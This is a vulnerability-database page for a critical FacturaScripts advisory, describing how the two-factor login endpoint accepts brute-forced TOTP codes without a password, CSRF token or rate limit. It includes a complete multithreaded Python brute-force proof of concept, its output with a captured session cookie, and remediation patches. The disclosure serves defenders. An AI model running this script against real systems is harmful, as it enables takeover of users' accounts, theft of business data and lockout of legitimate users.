Loading...
Skip to main content

CVE-2026-47677 — Vulnerability in facturascripts/facturascripts —...

CRITICAL

FacturaScripts: Account takeover of any 2FA-enabled user

Published July 13, 2026Updated July 13, 2026Source: osv

Summary

# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection ## Summary `Core/Controller/Login.php::twoFactorValidationAction()` accepts an unauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the TOTP value matches, the server issues a full `fsNick` + `fsLogkey` session cookie pair. The handler: 1. **Does not verify the password** — the user is not required to have just completed `loginAction`. 2. **Does not call `validateFormToken()`** — no CSRF token is required (every other action handler in the same file does call it). 3. **Does not call `userHasManyIncidents()` before processing** — `loginAction` and `changePasswordAction` both check this guard *before* doing work; the 2FA handler only writes to the incident list *after* a failure, and the incident list is consulted by `loginAction` / `changePasswordAction` but not by the 2FA handler itself. The endpoint therefore has **no rate-limiting at all**. Combined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is > N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ **40 800** attempts (50% success) On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account. The vulnerability gives **complete account takeover** of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (`admin`, the company name, the person's initials). ## Severity **CVSS 4.0 base score: 9.3 — Critical** Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N` | Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. | | Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. | | Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. | | Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. | | User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. | | Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). | | Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. | | Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. | | Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. | Threat metrics: - Exploit Maturity (E): **Attacked (A)** — public PoC included below, runs out of the box. ## Affected component - File: `Core/Controller/Login.php` - Method: `twoFactorValidationAction()` (lines 317–328 in the repository at commit `7392b489b`, master branch as of 2026-05-13). - Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`). Vulnerable code: ```php protected function twoFactorValidationAction(Request $request): void { $userName = $request->input('fsNick'); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } ``` Compare with `loginAction` in the same file, which calls `validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287) *before* doing any work. The 2FA handler does neither. ## Proof of concept ### 1. Brute force when only the victim's nick is known This requires **no prior knowledge** beyond the target's nick. Because the 2FA endpoint has no rate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP. `poc_2fa_brute.py`: ```python #!/usr/bin/env python3 """ PoC: brute-force the 2FA endpoint. Required: pip install requests """ import os, sys, time, random, threading, requests BASE = os.environ.get("BASE", "http://localhost:9999") NICK = os.environ.get("NICK", "admin") THREADS = int(os.environ.get("THREADS", "32")) MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000")) hit = threading.Event() attempt_count = [0] lock = threading.Lock() start = time.time() result = {} def worker(tid: int) -> None: s = requests.Session() while not hit.is_set(): with lock: n = attempt_count[0] if n >= MAX_TRIES: return attempt_count[0] += 1 code = f"{random.randint(0, 999999):06d}" try: r = s.post(f"{BASE}/login", data={"action": "two-factor-validation", "fsNick": NICK, "fsTwoFactorCode": code}, allow_redirects=False, timeout=5) except requests.RequestException: continue sc = r.headers.get("Set-Cookie", "") if r.status_code == 302 and "fsLogkey" in sc: with lock: if hit.is_set(): return hit.set() result["code"] = code result["n"] = n result["cookies"] = {c.name: c.value for c in r.cookies} return def main() -> int: print(f"[*] target={BASE} nick={NICK} threads={THREADS}") threads = [threading.Thread(target=worker, args=(i,), daemon=True) for i in range(THREADS)] for t in threads: t.start() while not hit.is_set() and attempt_count[0] < MAX_TRIES: time.sleep(2) elapsed = time.time() - start print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} " f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True) for t in threads: t.join() elapsed = time.time() - start if hit.is_set(): print(f"\n[+] FOUND code={result['code']} after {result['n']:,} " f"attempts in {elapsed:.1f}s") cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items()) print(f"[+] Cookies: {cookie_hdr}") print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser") return 0 print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit") return 1 if __name__ == "__main__": sys.exit(main()) ``` Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick `victim`): ``` [*] target=http://localhost:9999 nick=victim threads=32 [ 2.2s] attempts= 1094 rps= 493 [ 24.4s] attempts= 11535 rps= 473 [ 50.0s] attempts= 23420 rps= 468 [100.7s] attempts= 41247 rps= 410 [144.9s] attempts= 55418 rps= 383 [+] FOUND code=055473 after 55,773 attempts in 146.0s [+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN ``` A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts. ## Impact For each 2FA-enabled user (including admins): - **Confidentiality**: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration. - **Integrity**: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin). - **Availability**: targeted account lockout DoS — generating six failed 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from `loginAction` for 10 minutes. Repeatable indefinitely. The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly *weaker* than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before. ## Remediation Four independent fixes are required; each closes a distinct gap and any one alone is insufficient. 1. **Require evidence the user just completed the password step.** In `loginAction`, after `verifyPassword` succeeds and 2FA is required, write a short-lived nonce keyed by `(client_ip, user_nick)` to the shared cache (e.g. `Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)`). `twoFactorValidationAction` must read, validate, and delete that nonce before calling `verifyTwoFactorCode`. Without the nonce, return immediately. 2. **Call `validateFormToken($request)` at the top of `twoFactorValidationAction`.** Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions. 3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)` before doing any work in `twoFactorValidationAction`**, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check. 4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.** The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step. Suggested patch (illustrative): ```php // Core/Controller/Login.php protected function twoFactorValidationAction(Request $request): void { if (false === $this->validateFormToken($request)) { // fix 2 return; } $userName = $request->input('fsNick'); if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3 Tools::log()->warning('ip-banned'); return; } $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName; if (false === Cache::get($nonceKey)) { // fix 1 Tools::log()->warning('two-factor-no-pending-login'); $this->saveIncident(Session::getClientIp(), $userName); return; } Cache::delete($nonceKey); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } // Core/Lib/TwoFactorManager.php private const VERIFICATION_WINDOW = 1; // fix 4 — was 8 ``` `loginAction` then needs the matching nonce write where it currently sets `$this->two_factor_user`: ```php if ($user->two_factor_enabled) { Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick, bin2hex(random_bytes(16)), 300); $this->two_factor_user = $user->nick; $this->template = 'Login/TwoFactor.html.twig'; return; } ``` ## Reproduction Tested on a clean install built from `master` at commit `7392b489b`: ```bash # brute force (only nick known) — secret on the server can be anything NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py ```

Advisory Timeline

  • First published July 13, 2026 (90 days ago).
  • Last revised July 13, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update facturascripts/facturascripts to 2026.3 or later
composer require "facturascripts/facturascripts:^2026.3"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
facturascripts/facturascripts
packagist
2018.03, 2018.04, 2018.05, 2018.11 (+56 more)2026.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-287
    Improper AuthenticationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.4 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-47677?
FacturaScripts: Account takeover of any 2FA-enabled user This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
How do I check if my project is affected by CVE-2026-47677?
CVE-2026-47677 affects facturascripts/facturascripts. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47677 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.4

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-c67f-gmxw-mj93

Related CVEs

  • CVE-2026-45262
    CRITICAL

    FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`

  • CVE-2026-107845
    CRITICAL

    Contao: Cross-site scripting in the comments bundle

  • CVE-2026-92161
    CRITICAL

    FriendsOfFlarum OAuth: Unauthenticated account takeover via unverified email trust in Discord OAuth provider

  • CVE-2025-69210
    HIGH

    FacturaScripts is Vulnerable to Stored Cross-Site Scripting (XSS) via XML File Upload

  • CVE-2026-25514
    HIGH

    FacturaScripts has SQL Injection in Autocomplete Actions

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies